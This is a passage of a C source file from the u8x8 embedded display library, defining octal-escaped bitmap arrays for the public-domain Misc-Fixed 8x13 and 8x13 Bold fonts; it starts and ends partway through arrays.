\"\\6\\0\\0\\0\\0\\60\\10\\20 \\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/3703\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13_1x2_n[436] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_n\") = \n  \" :\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@P\\340\\340P@\\0\\0\\0\\1\\0\\0\\1\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\1\\1\\7\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\30\\30\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\20\\0\\0\\0\\0\\0\\0\\0\\200@\\60\\0\\30\\4\\2\\1\"\n  \"\\0\\0\\0\\0\\0\\300 \\20\\20 \\300\\0\\0\\7\\10\\20\\20\\10\\7\\0\\0@ \\360\\0\\0\\0\\0\\0\\20\\20\\37\"\n  \"\\20\\20\\0\\0\\0`\\20\\20\\20\\20\\340\\0\\0\\30\\24\\22\\22\\21\\20\\0\\0\\20\\20\\20\\220P\\60\\0\\0\\10\\20\\21\"\n  \"\\21\\21\\16\\0\\0\\0\\200@ \\360\\0\\0\\0\\7\\4\\4\\4\\37\\4\\0\\0\\360\\20\\220\\220\\220\\20\\0\\0\\11\\21\\20\"\n  \"\\20\\20\\17\\0\\0\\300 \\20\\20\\20\\0\\0\\0\\17\\22\\21\\21\\21\\16\\0\\0\\20\\20\\20\\220P\\60\\0\\0\\0\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\340\\20\\20\\20\\20\\340\\0\\0\\16\\21\\21\\21\\21\\16\\0\\0\\340\\20\\20\\20\\220\\340\\0\\0\\0\\21\\21\"\n  \"\\21\\10\\7\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\0\\20\\71\\20\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/1141\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13B_1x2_f[3588] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_f\") = \n  \" \\377\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\15\"\n  \"\\15\\0\\0\\0\\0<<\\0<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370\\370`\\370\\370`\\0\\3\\17\\17\\3\"\n  \"\\17\\17\\3\\0p\\370\\310\\374\\210\\230\\20\\0\\4\\14\\10\\37\\11\\17\\7\\0\\34\\24\\234\\340p\\34\\14\\0\\14\\16\\3\\1\"\n  \"\\16\\12\\16\\0\\300\\340  \\340\\300\\0\\0\\6\\17\\11\\11\\17\\16\\12\\0\\0\\0\\0<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\70\\14\\4\\0\\0\\0\\1\\7\\16\\30\\20\\0\\0\\0\\4\\14\\70\\360\\300\\0\\0\\0\\20\\30\\16\"\n  \"\\7\\1\\0\\0@@\\300\\360\\300@@\\0\\0\\6\\3\\1\\3\\6\\0\\0\\0\\300\\300\\360\\360\\300\\300\\0\\0\\0\\0\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\21\\37\\17\\7\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\16\\4\\0\\0\\0\\0\\200\\300`\\70\\34\\0\\16\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\360\\370\\14\\4\\14\\370\\360\\0\\3\\7\\14\\10\\14\\7\\3\\0\\0\\20\\30\\374\\374\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\17\\10\\10\\0\\30\\34\\4\\204\\304|\\70\\0\\14\\16\\13\\11\\10\\10\\10\\0\\4\\4Ddt\\334\\214\\0\\4\\14\\10\\10\"\n  \"\\10\\17\\7\\0\\300\\340\\60\\30\\374\\374\\0\\0\\1\\1\\1\\1\\17\\17\\1\\0||d$$\\344\\304\\0\\4\\14\\10\\10\"\n  \"\\10\\17\\7\\0\\360\\370\\314DD\\304\\200\\0\\7\\17\\14\\10\\10\\17\\7\\0\\4\\4\\4\\304\\344<\\34\\0\\0\\0\\17\\17\"\n  \"\\0\\0\\0\\0\\270\\374DDD\\374\\270\\0\\7\\17\\10\\10\\10\\17\\7\\0x\\374\\204\\204\\314\\374\\370\\0\\0\\10\\10\\10\"\n  \"\\14\\7\\3\\0\\0\\0 pp \\0\\0\\0\\0\\4\\16\\16\\4\\0\\0\\0\\0 pp \\0\\0\\0\\0\\21\\37\"\n  \"\\17\\7\\0\\0\\0\\200\\300`\\60\\30\\10\\0\\0\\0\\1\\3\\6\\14\\10\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\10\\30\\60`\\300\\200\\0\\0\\10\\14\\6\\3\\1\\0\\0\\30\\34\\4\\204\\304|\\70\\0\\0\\0\\0\\15\"\n  \"\\15\\0\\0\\0\\360\\370\\30\\330xx\\360\\0\\7\\17\\14\\13\\12\\12\\13\\0\\360\\370\\214\\214\\214\\370\\360\\0\\17\\17\\0\\0\"\n  \"\\0\\17\\17\\0\\4\\374\\374DD\\374\\270\\0\\10\\17\\17\\10\\10\\17\\7\\0\\370\\374\\14\\4\\4\\34\\30\\0\\7\\17\\14\\10\"\n  \"\\10\\16\\6\\0\\4\\374\\374\\4\\4\\374\\370\\0\\10\\17\\17\\10\\10\\17\\7\\0\\374\\374DDD\\4\\4\\0\\17\\17\\10\\10\"\n  \"\\10\\10\\10\\0\\374\\374DDD\\4\\4\\0\\17\\17\\0\\0\\0\\0\\0\\0\\370\\374\\4\\4\\4\\34\\30\\0\\7\\17\\10\\10\"\n  \"\\11\\17\\7\\0\\374\\374@@@\\374\\374\\0\\17\\17\\0\\0\\0\\17\\17\\0\\0\\0\\4\\374\\374\\4\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\0\\0\\0\\4\\374\\374\\0\\6\\16\\10\\10\\10\\17\\7\\0\\374\\374\\300\\340\\60\\34\\14\\0\\17\\17\\0\\1\"\n  \"\\3\\16\\14\\0\\374\\374\\0\\0\\0\\0\\0\\0\\17\\17\\10\\10\\10\\10\\14\\0\\374\\374\\60`\\60\\374\\374\\0\\17\\17\\0\\0\"\n  \"\\0\\17\\17\\0\\374\\374p\\300\\200\\374\\374\\0\\17\\17\\0\\0\\3\\17\\17\\0\\370\\374\\4\\4\\4\\374\\370\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\374\\374\\204\\204\\204\\374x\\0\\17\\17\\0\\0\\0\\0\\0\\0\\370\\374\\4\\4\\4\\374\\370\\0\\7\\17\\10\\14\"\n  \"\\14\\37\\27\\0\\374\\374\\304\\304\\304|\\70\\0\\17\\17\\0\\0\\3\\17\\14\\0\\70|DDD\\334\\230\\0\\6\\16\\10\\10\"\n  \"\\10\\17\\7\\0\\0\\4\\4\\374\\374\\4\\4\\0\\0\\0\\0\\17\\17\\0\\0\\0\\374\\374\\0\\0\\0\\374\\374\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0<\\374\\200\\0\\200\\374<\\0\\0\\1\\7\\16\\7\\1\\0\\0\\374\\374\\0\\0\\0\\374\\374\\0\\7\\17\\14\\7\"\n  \"\\14\\17\\7\\0\\14<\\360\\300\\360<\\14\\0\\14\\17\\3\\0\\3\\17\\14\\0\\0\\34|\\340\\340|\\34\\0\\0\\0\\0\\17\"\n  \"\\17\\0\\0\\0\\4\\4\\204\\304d<\\34\\0\\16\\17\\11\\10\\10\\10\\10\\0\\0\\374\\374\\4\\4\\4\\0\\0\\0\\37\\37\\20\"\n  \"\\20\\20\\0\\0\\34\\70`\\300\\200\\0\\0\\0\\0\\0\\0\\0\\1\\7\\16\\0\\0\\4\\4\\4\\374\\374\\0\\0\\0\\20\\20\\20\"\n  \"\\37\\37\\0\\0 \\60\\30\\14\\30\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\4\\14\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\240\\240\\240\\240\\340\\300\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\374\\374@  \\340\\300\\0\\17\\17\\4\\10\\10\\17\\7\\0\\300\\340`  `@\\0\\7\\17\\14\\10\"\n  \"\\10\\14\\4\\0\\300\\340  @\\374\\374\\0\\7\\17\\10\\10\\4\\17\\17\\0\\300\\340   \\340\\300\\0\\7\\17\\11\\11\"\n  \"\\11\\15\\5\\0\\200\\370\\374\\204\\204\\214\\10\\0\\0\\17\\17\\0\\0\\0\\0\\0\\300\\340  \\340\\340 \\0\\25\\77..\"\n  \"+\\71\\20\\0\\374\\374@  \\340\\300\\0\\17\\17\\0\\0\\0\\17\\17\\0\\0\\0@\\330\\330\\0\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\0\\0\\0@\\330\\330\\0\\30\\70   \\77\\37\\0\\374\\374\\200\\300` \\0\\0\\17\\17\\1\\3\"\n  \"\\6\\14\\10\\0\\0\\0\\4\\374\\374\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\300\\340`\\300`\\340\\300\\0\\17\\17\\0\\1\"\n  \"\\0\\17\\17\\0\\340\\340@  \\340\\300\\0\\17\\17\\0\\0\\0\\17\\17\\0\\300\\340   \\340\\300\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\340@  \\340\\300\\0\\77\\77\\4\\10\\10\\17\\7\\0\\300\\340  @\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\77\\77\\0\\340\\340@  `@\\0\\17\\17\\0\\0\\0\\0\\0\\0@\\340\\240  `@\\0\\4\\14\\11\\11\"\n  \"\\13\\16\\4\\0@\\374\\374@@@\\0\\0\\0\\7\\17\\10\\10\\14\\4\\0\\340\\340\\0\\0\\0\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\340\\340\\0\\0\\0\\340\\340\\0\\1\\7\\16\\10\\16\\7\\1\\0\\340\\340\\0\\0\\0\\340\\340\\0\\7\\17\\14\\7\"\n  \"\\14\\17\\7\\0`\\340\\200\\0\\200\\340`\\0\\14\\16\\3\\1\\3\\16\\14\\0\\340\\340\\0\\0\\0\\340\\340\\0\\23\\67$$\"\n  \"\\42\\77\\37\\0   \\240\\340` \\0\\14\\16\\13\\11\\10\\10\\10\\0\\0\\200\\270\\374D\\4\\4\\0\\0\\0\\16\\37\"\n  \"\\21\\20\\20\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\4\\4D\\374\\270\\200\\0\\0\\20\\20\\21\"\n  \"\\37\\16\\0\\0\\60\\30\\30\\70\\60\\60\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\0\\0\\0\\0\\0\\0\\17\"\n  \"\\17\\0\\0\\0\\340\\360\\20\\370\\20\\60\\0\\0\\1\\3\\2\\7\\2\\3\\0\\0@\\370\\374DDL\\10\\0\\34\\27\\37\\14\"\n  \"\\10\\10\\10\\0\\60\\360` `\\360\\60\\0\\6\\7\\3\\2\\3\\7\\6\\0\\0\\234\\374\\340\\340\\374\\234\\0\\0\\2\\2\\17\"\n  \"\\17\\2\\2\\0\\0\\0\\0<<\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\330\\374$$\\354\\310\\0\\0\\4\\15\\11\"\n  \"\\11\\17\\6\\0\\0\\14\\14\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\354\\364\\24\\264\\14\\370\\0\\3\\6\\5\\5\"\n  \"\\5\\6\\3\\0\\0tTT|x\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\300`\\260\\320`\\60\\20\\0\\1\\3\\6\\5\"\n  \"\\3\\6\\4\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\14\\364\\324t\\14\\370\\0\\3\\6\\5\\4\\5\\6\\3\\0\\0\\2\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30<$$<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\\360\\360@@\\0\\0\\4\\4\\5\"\n  \"\\5\\4\\4\\0\\0\\314\\344\\274\\230\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\314\\224\\374h\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\0\\0\\0\\340\\340\\0\\77\\77\\14\\10\"\n  \"\\14\\17\\7\\0p\\370\\214\\214\\374\\4\\374\\0\\0\\0\\1\\1\\37\\20\\37\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20 (\\30\\0\\0\\0\\0\\210\\374\\374\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70lll\\70\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\20\\60`\\320\\260`\\300\\0\\4\\6\\3\\5\"\n  \"\\6\\3\\1\\0\\210\\374\\374\\200\\0\\200\\300\\0\\0\\0\\0\\6\\7\\15\\17\\0\\210\\374\\374\\300@\\300\\200\\0\\0\\0\\0\\14\"\n  \"\\16\\13\\11\\0\\314\\224\\374h\\0\\200\\300\\0\\0\\0\\0\\6\\7\\15\\17\\0\\0\\0\\200\\354l\\0\\0\\0\\0\\7\\17\\10\"\n  \"\\10\\16\\6\\0\\200\\300dlh\\300\\200\\0\\17\\17\\2\\2\\2\\17\\17\\0\\200\\300hld\\300\\200\\0\\17\\17\\2\\2\"\n  \"\\2\\17\\17\\0\\200\\310ldl\\310\\200\\0\\17\\17\\2\\2\\2\\17\\17\\0\\200\\310dlh\\304\\200\\0\\17\\17\\2\\2\"\n  \"\\2\\17\\17\\0\\200\\314l`l\\314\\200\\0\\17\\17\\2\\2\\2\\17\\17\\0\\200\\300djj\\304\\200\\0\\17\\17\\2\\2\"\n  \"\\2\\17\\17\\0\\370\\374\\214\\374\\374\\204\\4\\0\\17\\17\\0\\17\\17\\10\\10\\0\\370\\374\\14\\4\\4\\14\\10\\0\\3\\27&,\"\n  \"\\34\\6\\2\\0\\340\\340$,(  \\0\\17\\17\\11\\11\\11\\10\\10\\0\\340\\340(,$  \\0\\17\\17\\11\\11\"\n  \"\\11\\10\\10\\0\\340\\350,$,( \\0\\17\\17\\11\\11\\11\\10\\10\\0\\340\\354, ,, \\0\\17\\17\\11\\11\"\n  \"\\11\\10\\10\\0\\0\\0$\\354\\350 \\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0 \\350\\354$\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\0(\\354\\344,\\10\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0,\\354\\340,\\14\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\220\\360\\360\\220\\20\\360\\340\\0\\10\\17\\17\\10\\10\\17\\7\\0\\340\\350\\304\\214\\10\\344\\340\\0\\17\\17\\0\\3\"\n  \"\\6\\17\\17\\0\\340\\360\\22\\26\\24\\360\\340\\0\\7\\17\\10\\10\\10\\17\\7\\0\\340\\360\\24\\26\\22\\360\\340\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\364\\26\\22\\26\\364\\340\\0\\7\\17\\10\\10\\10\\17\\7\\0\\340\\364\\22\\26\\24\\362\\340\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\366\\26\\20\\26\\366\\340\\0\\7\\17\\10\\10\\10\\17\\7\\0`\\340\\200\\200\\200\\340`\\0\\14\\16\\3\\3\"\n  \"\\3\\16\\14\\0\\340\\360\\20\\320\\60\\360\\350\\0\\27\\17\\14\\13\\10\\17\\7\\0\\340\\340\\4\\14\\10\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\340\\10\\14\\4\\340\\340\\0\\7\\17\\10\\10\\10\\17\\7\\0\\340\\350\\14\\4\\14\\350\\340\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\354\\14\\0\\14\\354\\340\\0\\7\\17\\10\\10\\10\\17\\7\\0\\0 \\340\\210\\214\\344 \\0\\0\\0\\0\\17\"\n  \"\\17\\0\\0\\0\\370\\370\\20\\20\\20\\360\\340\\0\\17\\17\\1\\1\\1\\1\\0\\0@\\370\\374\\4\\344\\374\\30\\0\\0\\17\\17\\0\"\n  \"\\10\\17\\7\\0\\0\\240\\244\\254\\250\\340\\300\\0\\7\\17\\10\\10\\4\\17\\17\\0\\0\\240\\250\\254\\244\\340\\300\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\0\\250\\254\\244\\254\\350\\300\\0\\7\\17\\10\\10\\4\\17\\17\\0\\0\\250\\244\\254\\250\\344\\300\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\0\\254\\254\\240\\254\\354\\300\\0\\7\\17\\10\\10\\4\\17\\17\\0\\0\\240\\244\\252\\252\\344\\300\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0@` \\300\\340 \\300\\0\\6\\17\\11\\7\\17\\11\\4\\0\\340\\360\\60\\20\\20\\60 \\0\\3\\27&,\"\n  \"\\34\\6\\2\\0\\300\\340$,(\\340\\300\\0\\7\\17\\11\\11\\11\\15\\5\\0\\300\\340(,$\\340\\300\\0\\7\\17\\11\\11\"\n  \"\\11\\15\\5\\0\\300\\350,$,\\350\\300\\0\\7\\17\\11\\11\\11\\15\\5\\0\\300\\354, ,\\354\\300\\0\\7\\17\\11\\11\"\n  \"\\11\\15\\5\\0\\0\\0$\\354\\350\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0(\\354\\344\\0\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\10,\\344\\354\\10\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\14,\\340\\354\\14\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\200\\324\\134X|\\344\\300\\0\\7\\17\\10\\10\\10\\17\\7\\0\\340\\350D,(\\344\\300\\0\\17\\17\\0\\0\"\n  \"\\0\\17\\17\\0\\300\\340$,(\\340\\300\\0\\7\\17\\10\\10\\10\\17\\7\\0\\300\\340(,$\\340\\300\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\300\\350,$,\\350\\300\\0\\7\\17\\10\\10\\10\\17\\7\\0\\300\\350$,(\\344\\300\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\300\\354, ,\\354\\300\\0\\7\\17\\10\\10\\10\\17\\7\\0\\0\\200\\200\\260\\260\\200\\200\\0\\0\\0\\0\\6\"\n  \"\\6\\0\\0\\0\\300\\340 \\240`\\340\\320\\0\\27\\17\\14\\13\\10\\17\\7\\0\\340\\340\\4\\14\\10\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\340\\340\\10\\14\\4\\340\\340\\0\\7\\17\\10\\10\\4\\17\\17\\0\\340\\350\\14\\4\\14\\350\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\340\\354\\14\\0\\14\\354\\340\\0\\7\\17\\10\\10\\4\\17\\17\\0\\340\\340\\10\\14\\4\\340\\340\\0\\23\\67$$\"\n  \"\\42\\77\\37\\0\\370\\370@  \\340\\300\\0\\77\\77\\4\\10\\10\\17\\7\\0\\340\\354\\14\\0\\14\\354\\340\\0\\23\\67$$\"\n  \"\\42\\77\\37\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/1141\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13B_1x2_r[1524] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_r\") = \n  \" ~\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\15\"\n  \"\\15\\0\\0\\0\\0<<\\0<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370\\370`\\370\\370`\\0\\3\\17\\17\\3\"\n  \"\\17\\17\\3\\0p\\370\\310\\374\\210\\230\\20\\0\\4\\14\\10\\37\\11\\17\\7\\0\\34\\24\\234\\340p\\34\\14\\0\\14\\16\\3\\1\"\n  \"\\16\\12\\16\\0\\300\\340  \\340\\300\\0\\0\\6\\17\\11\\11\\17\\16\\12\\0\\0\\0\\0<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\70\\14\\4\\0\\0\\0\\1\\7\\16\\30\\20\\0\\0\\0\\4\\14\\70\\360\\300\\0\\0\\0\\20\\30\\16\"\n  \"\\7\\1\\0\\0@@\\300\\360\\300@@\\0\\0\\6\\3\\1\\3\\6\\0\\0\\0\\300\\300\\360\\360\\300\\300\\0\\0\\0\\0\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\21\\37\\17\\7\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\16\\4\\0\\0\\0\\0\\200\\300`\\70\\34\\0\\16\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\360\\370\\14\\4\\14\\370\\360\\0\\3\\7\\14\\10\\14\\7\\3\\0\\0\\20\\30\\374\\374\\0\\0\\0\\0\\10\\10\\17\"\n  \"\\17\\10\\10\\0\\30\\34\\4\\204\\304|\\70\\0\\14\\16\\13\\11\\10\\10\\10\\0\\4\\4Ddt\\334\\214\\0\\4\\14\\10\\10\"\n  \"\\10\\17\\7\\0\\300\\340\\60\\30\\374\\374\\0\\0\\1\\1\\1\\1\\17\\17\\1\\0||d$$\\344\\304\\0\\4\\14\\10\\10\"\n  \"\\10\\17\\7\\0\\360\\370\\314DD\\304\\200\\0\\7\\17\\14\\10\\10\\17\\7\\0\\4\\4\\4\\304\\344<\\34\\0\\0\\0\\17\\17\"\n  \"\\0\\0\\0\\0\\270\\374DDD\\374\\270\\0\\7\\17\\10\\10\\10\\17\\7\\0x\\374\\204\\204\\314\\374\\370\\0\\0\\10\\10\\10\"\n  \"\\14\\7\\3\\0\\0\\0 pp \\0\\0\\0\\0\\4\\16\\16\\4\\0\\0\\0\\0 pp \\0\\0\\0\\0\\21\\37\"\n  \"\\17\\7\\0\\0\\0\\200\\300`\\60\\30\\10\\0\\0\\0\\1\\3\\6\\14\\10\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\10\\30\\60`\\300\\200\\0\\0\\10\\14\\6\\3\\1\\0\\0\\30\\34\\4\\204\\304|\\70\\0\\0\\0\\0\\15\"\n  \"\\15\\0\\0\\0\\360\\370\\30\\330xx\\360\\0\\7\\17\\14\\13\\12\\12\\13\\0\\360\\370\\214\\214\\214\\370\\360\\0\\17\\17\\0\\0\"\n  \"\\0\\17\\17\\0\\4\\374\\374DD\\374\\270\\0\\10\\17\\17\\10\\10\\17\\7\\0\\370\\374\\14\\4\\4\\34\\30\\0\\7\\17\\14\\10\"\n  \"\\10\\16\\6\\0\\4\\374\\374\\4\\4\\374\\370\\0\\10\\17\\17\\10\\10\\17\\7\\0\\374\\374DDD\\4\\4\\0\\17\\17\\10\\10\"\n  \"\\10\\10\\10\\0\\374\\374DDD\\4\\4\\0\\17\\17\\0\\0\\0\\0\\0\\0\\370\\374\\4\\4\\4\\34\\30\\0\\7\\17\\10\\10\"\n  \"\\11\\17\\7\\0\\374\\374@@@\\374\\374\\0\\17\\17\\0\\0\\0\\17\\17\\0\\0\\0\\4\\374\\374\\4\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\0\\0\\0\\4\\374\\374\\0\\6\\16\\10\\10\\10\\17\\7\\0\\374\\374\\300\\340\\60\\34\\14\\0\\17\\17\\0\\1\"\n  